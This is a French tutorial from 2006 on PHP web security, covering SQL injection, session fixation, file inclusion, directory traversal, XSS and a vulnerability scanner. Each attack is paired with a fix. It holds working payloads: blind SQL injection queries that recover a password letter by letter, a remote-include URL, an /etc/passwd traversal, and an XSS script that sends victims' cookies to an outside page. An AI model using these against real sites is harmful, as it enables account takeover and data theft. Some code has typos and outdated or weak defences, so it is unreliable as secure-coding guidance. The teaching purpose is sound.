Les injections SQL
Contents
1 Les injections SQL
Les failles de type SQL Injection sont parmi les plus courantes au sein des applications Web. Les sites dynamiques interagissent avec des bases de données qui stockent les informations concernant les utilisateurs. Il est alors possible dans certains cas de manipuler les requêtes vers ces bases afin d'accéder à des informations souvent sensibles.
NDLR : ce document a été rédigé en 2006, certaines versions ainsi que certaines configurations des logiciels utilisés selon ces versions peuvent être différentes de celles qui sont mentionnées ; merci de vous reporter vers les sites officiels des projets en question en cas de problème.
Le langage utilisé pour communiquer entre un script PHP et une base de données, de type MySQL ( lien http externe url:[click] ) par exemple, est le Structured Query Language aussi connu sous l'acronyme SQL ( lien http externe url:[click] ).
Pour cela, l’application web doit créer dynamiquement une chaîne de caractères contenant la requête SQL puis l’envoyer vers la base de données. Cette chaîne de caractères peut comprendre des données entrées directement par les utilisateurs du site web.
En cas de mauvaise validation de ces données par l'application web, il est possible de détourner l’application de son utilisation initiale en insérant du code SQL au sein de ces entrées utilisateur.
Dans l’exemple suivant, un attaquant peut injecter son propre code SQL dans l’une des requêtes effectuées par le script PHP que l'on va étudier ci-dessous.
Premièrement, la base de données contient cette table SQL :
CREATE TABLE site_users(
id int,
pseudo varchar(32),
password varchar(32),
email varchar(80),
adresse varchar(200)
);
Le fichier « email.php » du site web est un script qui permet d’afficher l’email d’une personne par rapport à son numéro d’identifiant, voici le contenu de ce fichier :
<?
mySQL_connect('127.0.0.1', 'root', );
mySQL_select_db('my_database');
$q = mySQL_query("SELECT email,pseudo FROM site_users WHERE id=".$_REQUEST[id]);
$r = mySQL_fetch_array($q) ;
echo "le mail de ".$r[pseudo];."est : ".$r[email];
?>
Sur le lien « site.com/email.php?id=45 », le site web affiche le message suivant « le mail de lambda est exemple@secuobs.com ». Maintenant on essaye une url telle que « site.com/email.php?id=45%20or%201=1 », le site web affiche alors le message « le mail de exemple est php@secuobs.com »
Lors de cette dernière requête le script PHP a en fait exécuté le code SQL suivant :
"SELECT email FROM site_users WHERE id=45 or 1=1".
La condition « 1=1 » étant toujours remplie, on a donc eu la possibilité d'injecter du code SQL, « exemple » étant un compte de test avec l’id 1 et « lambda » un autre compte de test avec l’id 45.
Si l’on essaye avec « id=999999999 » le serveur web affichera alors le message « le mail de est » , car il n’existe pas d’utilisateur avec un id équivalent à cette valeur de 99999999.
Il va être possible grâce à cette injection SQL de trouver le mot de passe d’un utilisateur donné avec une attaque de type bruteforce ( lien http externe url:[click] ).
A l’aide des opérateurs SQL ‘LIKE’ et ‘%’ , on va faire en sorte que la commande SQL suivante soit exécutée par le serveur web vers la base de données :
"SELECT email FROM site_users WHERE id=45 AND password LIKE ‘a%’"
Ce qui revient en fait à effectuer :
email.php ?id=45%20AND%20password%20LIKE%20’a%’
Cette commande SQL va alors retourner une réponse seulement si le champ id est égal à 45 et si le champ password commence par ‘a’ d’où l’intérêt de l'utilisation du ‘%’. Le mot de passe ne commence pas par ‘a’, le site affiche alors le message « le mail de est ».
On continue en testant plusieurs lettres jusqu'à obtenir un début de réponse de la part du serveur SQL via le serveur web, c'est-à-dire le message « le mail de lambda est exemple@secuobs.com».
Pour connaître la longueur du mot de passe il suffit d'en bruteforcer sa valeur à l’aide de :
email.php ?id=45%20AND 20LENGHT(password)=5
Dans cet exemple, on trouve la valeur 5 comme longueur du mot de passe.
On continue l’opération jusqu'à l'obtention du mot de passe de cet utilisateur :
Requête : email.php ?id=45%20AND%20password%20LIKE%20’a%’
Réponse : « le mail de est »
Requête : email.php ?id=45%20AND%20password%20LIKE%20’b%’
Réponse : « le mail de lambda est exemple@secuobs.com »
Requête : email.php ?id=45%20AND%20password%20LIKE%20’ba%’
Réponse : « le mail de est »
Requête : email.php ?id=45%20AND%20password%20LIKE%20’bb%’
Réponse : « le mail de est »
….
Requête : email.php ?id=45%20AND%20password%20LIKE%20’be%’
Réponse : « le mail de lambda est exemple@secuobs.com »
Requête : email.php ?id=45%20AND%20password%20LIKE%20’bea%’
Réponse : « le mail de lambda est exemple@secuobs.com »
Requête : email.php ?id=45%20AND%20password%20LIKE%20’beaa%’
Réponse : « le mail de est »
….
Requête : email.php ?id=45%20AND%20password%20LIKE%20’beac%’
Réponse : « le mail de lambda est exemple@secuobs.com »
Requête : email.php ?id=45%20AND%20password%20LIKE%20’beaca%’
Réponse : « le mail de est »
…
Requête : email.php ?id=45%20AND%20password%20LIKE%20’beach%’
Réponse : « le mail de lambda est exemple@secuobs.com »
Le mot de passe de l’utilisateur lambda est donc « beach ».
Pour sécuriser ce script, il aurait suffit de remplacer la requête SQL dans le script PHP par la ligne suivante :
$q = mySQL_query("SELECT email,pseudo FROM site_users WHERE id=".intval($_REQUEST[id]));
intval() retourne une valeur décimale entière,. on est alors certain qu’il n’y aura que des chiffres qui seront ajoutés à la requête SQL. Pour sécuriser une chaîne de caractère de ce type, il faut la placer entre ‘ ou " et vérifier que cette chaîne ne contient aucun de ces deux caractères.
Il est également possible d'utiliser les fonctions SQL_real_escape_string() et mySQL_escape_string() à cet effet.
La première est une fonction de la librairie MySQL et la seconde une fonction propre au langage PHP. Elles sont efficaces seulement si la valeur retournée est encadrée par des guillemets au sein de la requête SQL.
La deuxième fonction est cependant maintenant devenue obsolète et il est préférable d’utiliser la première citée.
Exemple d’un script sécurisé :
< ?
mySQL_connect('127.0.0.1', 'root', );
mySQL_select_db('my_database');
$pseudo = $_REQUEST[pseudo] ;
if (get_magic_quotes_gpc()) {
$pseudo = stripslashes($pseudo);
}
$pseudo = mySQL_real_escape_string($pseudo) ;
$q = mySQL_query("SELECT email FROM site_users WHERE pseudo=’".$pseudo."’" );
$r = mySQL_fetch_array($q) ;
echo "le mail de ".$pseudo."est : ".$r[email];
?>
A noter que ces fonctions ne protègent pas contre l'utilisation des caractères % et _ ; ces caractères pouvant être utilisés avec les opérateurs LIKE, GRANT ou REVOKE.
La fonction MySQL_real_escape_string() nécessite en fait d’être déjà connecté a la base de données pour être utilisée sinon une valeur booléenne de type FALSE sera renvoyée par ses soins.
Dans cette exploitation de l’injection SQL, on considére que les magic quotes ( lien http externe url:[click] ) sont désactivés dans le fichier de configuration (php.ini) de PHP.
Magic quotes est activé par défaut dans les dernières versions de PHP ; cette option transforme les caractères 0x00 par \0 en ascii, ' par ’ et " par \".
Il existe cependant de nombreuses techniques et variantes pour l’exploitation d’une injection SQL même avec les magic quotes activés.
2 La gestion des sessions
Les sessions permettent à un site de reconnaître un utilisateur de manière unique à chacune de ses requêtes afin de lui proposer un contenu qui lui soit propre, il est cependant possible pour un attaquant de voler la session d'un utilisateur afin d'en usurper l'identité et d'accéder à ses informations privées.
Un identifiant de session est une valeur généralement égale à 128 bits, cette valeur est représentée en hexadécimal (ex : 4d7324727be3bd2e9783078e6d0806e7) et elle sert à identifier une personne unique.
Elle permettra au site de reconnaître un utilisateur à chacune de ses requêtes afin de lui fournir des actions spécifiques suivant les informations enregistrées dans la base de données (ou pas).
L’identifiant de session doit être difficile à prévoir pour un attaquant sinon c'est l'ensemble de la confidentialité du service qui est compromise et donc celle de ses utilisateurs.
Pour créer un identifiant de session qui soit sécurisé, il est possible d’utiliser la fonction uniqid() fournie par le langage PHP :
md5( uniqid( rand (),true ) );
Il est important de créer une session à l’aide de la fonction uniqid(), car la créer uniquement en la générant aléatoirement avec une notion de date et d'heure de création pourrait permettre à un attaquant de retrouver ces informations d'identification de session via les techniques de bruteforce dans certain cas.
Un autre type d’attaque sur les sessions existe, elle consiste à faire en sorte que la victime se connecte sur le site avec un identifiant de session que l'on aura défini préalablement ; ainsi si la victime s’identifie ensuite sur le site web avec cet identifiant, on pourra accéder à sa session afin d'usuper son identité et récupérer des informations sensibles sur son compte.
Pour cela il suffirait de réaliser un faux site web avec un nom de domaine ressemblant à celui du site ciblé ; sur ce site on pourrait mettre en place une redirection web telle que « index.php?PHPSESSID=fakesessid ». Le lien ressemblera alors à « index.php?PHPSESSID=4d7324727be3bd2e9783078e6d0806e7 » :
<?php
header('Location: www.site.com/index.php?PHPSESSID=1234');
?>
Il est généralement nécessaire que le cookie de la victime soit également vide ou expiré afin de pouvoir réaliser ce genre d'attaque. Il ne reste donc plus qu’à attendre que la victime s’identifie avec son pseudo et son mot de passe et aller nous aussi sur l'url « index.php?PHPSESSID=fakesessid » pour pouvoir accéder à la session de cette victime.
Pour sécuriser son script contre ce genre d’attaque il suffit de régénérer un identifiant dès que l’authentification a été réalisée. Le script doit sécuriser les applications web contre les identifiants de session qui n’ont jamais était créés préalablement par le serveur ; s'il n'y avait que la fonction session_start(), le script serait alors vulnérable à ce type d’attaque.
Le script sécurisé :
<?php
session_start();
if (!isset($_SESSION['initiated']))
{
session_regenerate_id();
$_SESSION['initiated'] = true;
}
?>
Il est par ailleurs possible de régénérer le session identifiée lors de l’authentification pour plus de sécurité, ou même de la régénérer à chaque requête sur le serveur.
3 Les failles PHP
Les détails des vulnérabilités relatives à l'utilisation des fonctions include() et fopen() dans les scripts PHP ainsi celles associées aux failles de type Cross Site Scripting aussi connues sous l'acronyme XSS. Retrouvez également les principes de sécurisation liés à ces différents types de risques.
La fonction include()
Cette fonction est assez connue et utilisée. Elle permet de rendre du code modulaire en chargeant dynamiquement un fichier et en exécutant le code PHP qu'il contient .Elle gère également les fichiers locaux et les streams de type curl , http , ftp et php.
Ce qui permet alors d'injecter du code, un exemple avec le fichier « fichiervuln.php » se trouvant sur le site vulnérable :
<?
include($_REQUEST["page"]);
?>
Et un fichier « hack.txt » hébergé sur un site quelconque :
<?
phpinfo();
?>
Sur un site vulnérable on peut remarquer des liens de type « sitevuln.com/fichiervuln.php?page=contact.html », pour exploiter la faille en résultant il suffit d'aller simplement sur l'url « sitevuln.com/fichiervuln.php?page=monserver.com/hack.txt ».
On voit alors que la fonction phpinfo() a été exécutée. Un pirate peut alors prendre le contrôle du serveur et exécuter d'autres programmes en passant par les fonction system() ,exec() ou en passant par un exploit local PHP.
Pour sécuriser un include() il est nécessaire de valider correctement la variable d'entrée $_REQUEST["page"] :
<?
$inrep = "./";
$extfichier = ".php";
$page = $inrep.basename(strval($_REQUEST["page"]),$extfichier).$extfichier;
if(file_exist($page))
include($page);
?>
Par le passé, on a constaté beaucoup d'include sécurisés seulement avec la fonction file_exist() qui renvoie une réponse positive si le fichier existe en local.
A partir de la version 5 de PHP, cette fonction gère les streams et notamment les streams http, elle ne protège donc plus de l'injection de code a distance ni de l'injection de code par fichier local.
La fonction strval() n'est pas nécessaire sur les versions récentes de PHP. La meilleure façon de sécuriser un code PHP étant encore la suivante :
<?
switch($_REQUEST["page"])
{
case "contact.php":
include("contact.php");
break;
default:
break;
}
?>
Cette méthode est beaucoup moins modulaire, mais plus optimisée.
La fonction fopen()
La fonction fopen() est quant à elle très souvent utilisée et permet d’ouvrir un fichier ou un répertoire pour en afficher le contenu.
Généralement les failles liées à cette fonction sont de type « directory traversal », c'est-à-dire que l’utilisateur sort de l’arborescence de répertoires qui lui avait été normalement assignée.
<?
$filename = $_REQUEST["idimage"];
$filepath = "/rep/secret/".$filename;
$filesize = @filesize($filepath);
$ext = substr($filename, strrpos($filename, ".") + 1);
if ($ext == "jpg") $ext = "jpeg";
if(@file_exists($filepath)){
Header("HTTP/1.1 200 OK");
Header("Content-type: image/" . $ext);
Header("Content-Length: $filesize");
Header("Content-Disposition: filename=$filename");
Header("Content-Transfer-Encoding: binary");
Header("Cache-Control: store, cache"); // HTTP/1.1
Header("Pragma: cache");
$fp = fopen($filepath, "rb");
if (!fpassthru($fp)) fclose($fp);
}
exit;
?>
Ce script permet normalement d'uploader des images. Celles-ci sont stockées dans un répertoire non accessible via le serveur Web (Apache dans ce cas). Il faut donc passer par un script PHP pour voir les photo via une url de type « site.com/bimage.php?idimage=20050124.jpg »
En fait, ce script permet de lire n'importe quel fichier en local sur le serveur, avec une url comme celle-ci « site.com/bimage.php?idimage=../../../../../../../../../../../etc/passwd »
On récupère ici le fichier passwd du serveur. A l'aide du très connu "../" on remonte les répertoires, à noter que sur un système d'exploitation de type SUN Solaris la fonction fpassthru() permet de voir également le contenu d'un répertoire.
Sur d'autres systèmes d'exploitation, il est nécessaire d'utiliser les fonctions adéquates pour lister les répertoire suite à l'ouverture avec la fonction fopen() .
Cette vulnérabilité permet donc de voir le code source d'un fichier .htaccess ou celui d'un .htpasswd mais également les fichier php eux mêmes afin d'en extraire des logins et mots de passe SQL tout en cherchant d'autres failles à exploiter dans ces scripts.
Pour valider correctement les variables données en paramètre à un fopen() un filtre est alors nécessaire :
<?
// Filtrer ..\ n'est nécessaire que sur les systèmes d'exploitation de type Windows
if(eregi('../',$_REQUEST["idimage"]) || eregi('..\’,$_REQUEST["idimage"]))
{
echo "bad input";
exit();// on arrête le script
}
//sinon on continue
$badext = ".php" // on définit les extensions de fichiers à interdire
$filename = basename($filename,$badext); // permet de supprimer l'extension .php et de récupérer le nom du fichier sans les répertoires associés
$filepath = "/rep/secret/".$filename;
// suite normal du script etc etc
?>
Ne mettez pas une fonction de transcodage après avoir filtré une variable, sinon cela rendra le filtre complètement inutile et il serait alors facilement contournable.
XSS : Cross Site Scripting
Le Cross Site Scripting est une attaque coté client, elle s'effectue par injection de code HTML dans le navigateur. Le HTML étant un langage de description par balises il suffit généralement de pouvoir injecter les caractères < et > afin de pouvoir exploiter une vulnérabilité de ce type :
< ?
Echo "bienvenue ".$_REQUEST[nom] ;
?>
C’est le cas classique d’un XSS. Il suffit de visiter l'url « site.com/vuln.php?nom=<script>alert(1337)</script> » ; on peut donc injecter directement du code HTML, javascript et tous les types de code qu'un navigateur est habilité à exécuter.
Généralement les magic quote empêche une utilisation du javascript avec ce principe, mais là également on peut facilement le contourner avec une url telle que « site.com/vuln.php?badvar=%3Cscript%3Ealert%28%22helloworld%22%29%3C/script%3E%3Cnoscript%3E%3Cscript%3E&nom=<script>document.write(unescape(location.href))</script> »
La variable badvar contient le code javascript qui va afficher le « helloworld », on effectue un simple document.write() de l’adresse du site.
L’utilisation principale du XSS est le vol de cookie, son fonctionnement est très simple il suffit d’ouvrir une frame ou une fenêtre sur un fichier stockant le cookie passé en paramètre.
Le code javascript permettant de voler le cookie serait alors le suivant :
<script>document.location='www.votresite.com/page.php?cookie=' + document.cookie</script>
La page page.php ressemblerait quant à elle à :
<?
$cookie = $_GET['cookie'];
mail(“mailduvoleur@hack.com”, “le cookie”, “$cookie”);
?>
Le voleur reçoit donc le cookie par email. Certains cookies contiennent des données sensibles qui peuvent permettre de s’identifier sur un site.
Pour se protéger du XSS il suffit de filtrer les variables avant de les afficher sur la sortie, ce filtrage s'effectue à l’aide de la fonction htmlspecialchars() qui va convertir la chaîne en caractères HTML « affichables » :
< ?
$out = htmlspecialchars($_REQUEST[nom]) ;
Echo "bienvenue ".$out;
?>
4 Remote PHP Vulnerabilty Scanner
Remote PHP Vulnerabily Scanner est un outil (parmi d'autres) qui permet de tester la sécurité d'un site web basé sur des scripts PHP. RPVS s’utilise via l'invite de commandes sous Windows.
RPVS ( lien http externe url:[click] ) est en fait un scanner de vulnérabilités PHP a distance de type multithread. Il détecte les failles PHP basiques qui sont les plus recensées sur le web :
- le XSS : Cross Site Scripting (injection de code HTML dans le navigateur de la victime),
- les Erreur SQL (19 erreurs différentes), afin de détecter les injections SQL qui sont réalisables,
- les vulnérabilités d'inclusion de fichier avec include() par exemple,
- les erreurs de la fonction fopen() ,afin de détecter les fonctions de ce type qui sont mal protégées.
- les erreurs de la fonction include() et les insécurités en résultant.
L'outil RPVS s'exécute en deux étapes distinctes.
Durant la première étape , il va aspirer les pages du site tout en restant dans le domaine et le répertoire de l'adresse passée en argument.
Il collecte de multiples informations sur les pages Web dynamiques dont les noms des variables associées aux pages et les valeurs données à chaque variable.
Les formulaires et variables associées à ces formulaires sont également récupérés, il arrive que cette première étape soit "sans fin" du fait d’une aspiration dite en boucle. Dans ce cas le bouton "Attack Now" permet d'arrêter la prise d'informations et de passer a l'étape suivante.
La seconde étape consiste quant à elle à tester les pages PHP ciblées sur les failles XSS, include(), fopen() et injections SQL avec une même et unique variable.
A ce niveau il existe trois mode de scan qui sont représentés par les options -bf ,-f , la troisième et dernière étant celle par défaut.
Le scan par défaut va reprendre l'ensemble des URL trouvées directement sur le site ou reconstruites via les formulaires.
Pour chaque URL, RPVS teste une a une chaque variable, par exemple "/123456/telechargement.php?outil=nmap.zip&rep=./" va générer deux URL : "/123456/telechargement.php?outil=www.google.fr/webhp%3f<balisexss>%22%27 &rep=./" et "/123456/telechargement.php?outil=nmap.zip&rep=www.google.fr/webhp%3f<balisexss>%22%27".
L’option -f pour "fast mode», va tester en une seule fois toutes les variables d'une page, un exemple avec '/123456/telechargement.php?outil=www.google.fr/webhp%3f<balisexss>%22%27 &rep=www.google.fr/webhp%3f<balisexss>%22%27&list=www.google.fr/webhp%3f<balisexss>%22%27 ". Ce mode est très rapide mais c'est aussi celui qui donne le moins de résultat.
L'option -bf permet quant à elle d’essayer toutes les combinaisons possibles d’entrées. Ce scan est très lent mais permet de découvrir des failles que les autres modes ne détectent pas. Il est préférable de l’utiliser en local et avec le mode verbose activé.
Exemple :
/123456/index.php3?search=www.google.fr/webhp%3f<balisexss>%22%27
/123456/index.php3?pages=www.google.fr/webhp%3f<balisexss>%22%27
/123456/index.php3?img=www.google.fr/webhp%3f<balisexss>%22%27&page=
/123456/index.php3?img=www.google.fr/webhp%3f<balisexss>%22%27&page=membres
/123456/index.php3?img=www.google.fr/webhp%3f<balisexss>%22%27&page=forum
/123456/index.php3?img=www.google.fr/webhp%3f<balisexss>%22%27&page=gall.
L’option -v pour le mode verbose, affiche les adresses web des requêtes HTTP effectuées.
L’option -aff pour anti-forum filter, est tout simplement un filtre très utile qui permet d'éviter d'aspirer tous les post d'un forum ou d'un système de news.
Elle s'accompagne de l'option -sessid=PHPSESSID pour définir le nom de la variable équivalente à l'identifiant de session, cela permet de ne pas tomber dans une aspiration sans fin.
L’option -rapport permet de crée un rapport dans le fichier rapport.txt sous l'arborescence actuelle.
Lorsqu'on lance le programme, une fenêtre transparente apparaît avec les information suivantes :
- les indicateurs "nb:" représente le nombre de requêtes HTTP effectuées,
- "err fopen" le nombre d'erreurs sur fopen() détecté ,
- "vuln inc" le nombre de failles d'include ,
- "err inc" le nombre d'erreurs d'include,
- "vuln xss" le nombre de failles de Cross Site Scripting,
- "err SQL" le nombre d'erreur SQL,
- "url:" la dernière requête en train d'être traitée.
A noter que le bouton "Attack Now" passe en "Wait" dès la deuxième étape .
5 Astuces
Dans cette quatrième et dernière partie du dossier sur la sécurité (et l'insécurité) des scripts PHP, on retrouve quelques principes qui vont permettre d'ajouter une couche de sécurisation supplémentaires aux scripts développés dans ce langage.NDLR : ce document a été rédigé en 2006, certaines versions ainsi que certaines configurations des logiciels utilisés selon ces versions peuvent être différentes de celles qui sont mentionnées ; merci de vous reporter vers les sites officiels des projets en question en cas de problème.
Pour sécuriser de manière optimale une application Web, on peut appliquer des règles de sécurité qui permettent de vérifier qu’aucune entrée n’a été modifiée par le visiteur.
Pour chaque lien il suffit de rajouter une variable qui va servir de signature de validité pour la requête.
Pour générer les liens sécurisé, le code suivant :
< ?
$secretkey = "highly secret key " ;
Echo " code html …. ";
Echo "<a href=\"/page.php ?var=course&signature=".md5($secretkey."course") ;
…
?>
Le fichier page.php :
< ?
$secretkey = "highly secret key " ;
$realsign = md5($secretkey.$_REQUEST["var"]) ;
If($realsign != $_REQUEST["signature"])
{
Echo "mauvaise valeur d’entrée" ;
Exit() ;
}
… suite du fichier
?>
Ceci permet de s'assurer que les requêtes ont pour origine les pages de notre site.
Il faut aussi désactiver l’affichage des messages d’erreur dans la configuration de PHP ou bien a l’aide de :
ini_set("error_display",off);
Cela doit être placé au début du script, car chaque message d’erreur donne des informations précieuses à un attaquant potentiel.
Il existe également une technique permettant de sécuriser un formulaire, elle consiste à placer un numéro de session que l’on va stocker dans une table.
Lors de la validation du formulaire on vérifie alors que ce numéro est bien dans la table.
Un outil essentiel à la sécurité de vos script est le patch hardened-PHP que l'on peut trouver sur le site officiel du projet ( lien http externe url:[click] ).
Le projet Suhosin ( lien http externe url:[click] ) est également à étudier.
Des compléments d'informations sont disponibles dans les articles suivants ( failles XSRF lien http externe url:[click] ) et ( mois des failles PHP - lien http externe url:[click] ).